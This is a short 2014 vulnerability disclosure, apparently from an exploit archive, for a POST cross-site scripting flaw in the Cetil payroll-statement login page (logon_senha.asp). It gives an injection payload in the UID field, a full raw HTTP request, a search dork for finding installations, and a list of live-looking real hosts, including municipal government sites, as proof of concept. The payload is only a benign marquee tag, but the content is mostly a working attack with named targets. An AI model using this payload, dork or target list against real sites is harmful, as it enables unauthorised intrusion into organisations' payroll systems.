[+] Post Cross Site Scripting on Cetil - Demonstrativo de Pagamento de Salrio [+] Date: 27/05/2014 [+] Risk: LOW [+] CWE number: CWE-79 [+] Author: Felipe Andrian Peixoto [+] Vendor Homepage: http://www.cetil.com.br/ [+] Contact: felipe_andrian@hotmail.com [+] Tested on: Windows 7 and Linux [+] Vulnerable File: logon_senha.asp [+] Dork: CETIL - Demonstrativo de Pagamento de Salrio [+] Exploit : http://host/patch/logon_senha.asp UID=%3Cmarquee%3Efelipe+andrian+peixoto&senha=teste&Submit=ok [+] Example: POST /gpweb/logon_digitado.asp HTTP/1.1 Host: gpweb.unitau.br:88 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://gpweb.unitau.br:88/gpweb/logon_senha.asp Cookie: ASPSESSIONIDSCSTDSCD=CAFFKGICPDHEPMAAEDBKCJIK Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 61 UID=%3Cmarquee%3Efelipe+andrian+peixoto&senha=teste&Submit=ok [+] PoC : http://gpweb.unitau.br:88/gpweb/logon_senha.asp http://www.saosebastiao.sp.gov.br/gpcetilweb/logon_senha.asp http://201.38.74.75/gpweb/logon_senha.asp http://holerite.apucarana.pr.gov.br/logon_senha.asp